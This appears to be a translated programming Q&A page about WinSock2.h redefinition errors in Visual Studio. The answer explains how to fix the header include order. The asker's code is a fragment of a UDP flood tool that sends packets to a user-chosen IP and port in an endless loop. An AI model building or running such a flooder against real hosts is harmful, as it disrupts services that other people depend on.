当我包含WinSock2.h时,为什么会出现大量编译器错误?
Why do I get a flood of compiler errors when I include WinSock2.h?
我正试图在c++中使用WinSock2.h进行UDP Flood,但我在WinSock2.h上得到超过70个错误和17个警告,所有错误都是重新定义,语法错误来自ws2def.h,和"不同的链接"。是我做错了什么,还是这是WinSock2的问题?如果它有任何用处,我使用64位Windows 10, Visual Studio 2015
#include "stdafx.h"
#include <WinSock2.h>
#include <windows.h>
#include <fstream>
#include <time.h>
#include "wtypes.h"
#include "Functions.h"
#pragma comment(lib, "ws2_32.lib")
//Get IP
cin.getline(TargetIP, 17);
//Get IP
cout << "Enter the Port: ";
cin >> nPort;
cout << endl;
//Initialize WinSock 2.2
WSAStartup(MAKEWORD(2, 2), &wsaData);
//Create our UDP Socket
s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
//Setup the target address
targetAddr.sin_family = AF_INET;
targetAddr.sin_port = htons(nPort);
targetAddr.sin_addr.s_addr = inet_addr(TargetIP);
//Get input from user
cout << "Please specify the buffer size:";
cin >> bufferSize;
//Create our buffer
char * buffer = new char[bufferSize];
while(true){
//send the buffer to target
sendto(s, buffer, strlen(buffer), NULL, (sockaddr *)&targetAddr, sizeof(targetAddr));
}
//Close Socket
closesocket(s);
//Cleanup WSA
WSACleanup();
//Cleanup our buffer (prevent memory leak)
delete[]buffer;
我猜你可能在包含的顺序上有问题。
您可能会在以下行中得到许多错误:
1>c:program files (x86)windows kits8.1includeumwinsock2.h(2373): error C2375: 'WSAStartup': redefinition; different linkage
1> c:program files (x86)windows kits8.1includeumwinsock.h(867): note: see declaration of 'WSAStartup'
这是因为<windows.h>
默认包含<winsock.h>
,而<winsock.h>
提供了许多与<winsock2.h>
重叠的声明,导致<winsock2.h>
在 <windows.h>
之后包含时出现错误。
<winsock2.h>
<windows.h>
:
#include <winsock2.h>
#include <windows.h>
或者,作为一种替代方法,您可以尝试定义 _WINSOCKAPI_
以防止<winsock.h>
在<windows.h>
中包含此预处理器#undef-#define-#include "dance":
#undef _WINSOCKAPI_
#define _WINSOCKAPI_ /* prevents <winsock.h> inclusion by <windows.h> */
#include <windows.h>
#include <winsock2.h>
我不得不说,_WINSOCKAPI_
宏的定义干涉普通头包含保护机制,以防止<windows.h>
包含<winsock.h>
听起来像一个基于实现细节的脆弱"黑客",所以我可能更喜欢第一个选项。
但是在我看来,所有这些包含顺序的错误听起来像是Win32头文件中的错误,所以最好是微软修复它。
编辑
正如评论中建议的那样,进一步的替代方案可能是在 #define WIN32_LEAN_AND_MEAN
之前包括<windows.h>
。但是,请注意,这也会阻止包含其他Windows头文件。
注:
如果您正在使用预编译头 ("stdafx.h"
在您的问题中新显示的代码),您可能要注意在那里包含的顺序,以及
- MSVC多行宏编译器错误
- 静态数据成员的问题-修复链接错误会导致编译器错误
- C++,我收到一个无法理解的编译器错误
- 我收到同义重复编译器错误。我应该如何修复"类型"X"的参数与类型"X"的参数不兼容?
- 重载方法的方式会在使用临时调用时生成编译器错误
- 尝试使用继承和模板实现CRTP.Visual Studio正在生成编译器错误
- 编译器错误:destuctor 的更宽松的抛出说明符
- Android NDK clang 编译器错误在 Windows 上显示'No such file or directory'
- C++ G++ 编译器 - 错误:隐式声明的定义
- 这个失败的测试是将零添加到空指针未定义的行为、编译器错误还是其他什么?
- 模板模板参数和模板别名:编译器错误?
- C++ 编译器错误:P1LinkedList.cpp:145:错误:重载的"to_string(int&)"调用不明确
- 在gcc中意外调用了Const重载.编译器错误或兼容性修复程序
- C1001内部编译器错误是由于矢量初始化(如数组)引起的
- 编译器错误(英特尔并行工作室 2019 与 Visual Studio 社区 2019)
- 如何在C++中克服此 C4430 编译器错误?
- 尝试使用 WinBGI 显示文本时出现编译器错误
- 使用typedef'ed返回类型声明友元函数时出现编译器错误
- 如何在类模板的成员函数中正确调用函数对象?正在生成 Visual Studio 编译器错误 C2440
- C++自定义分配器大小参数作为模板参数会引发编译器错误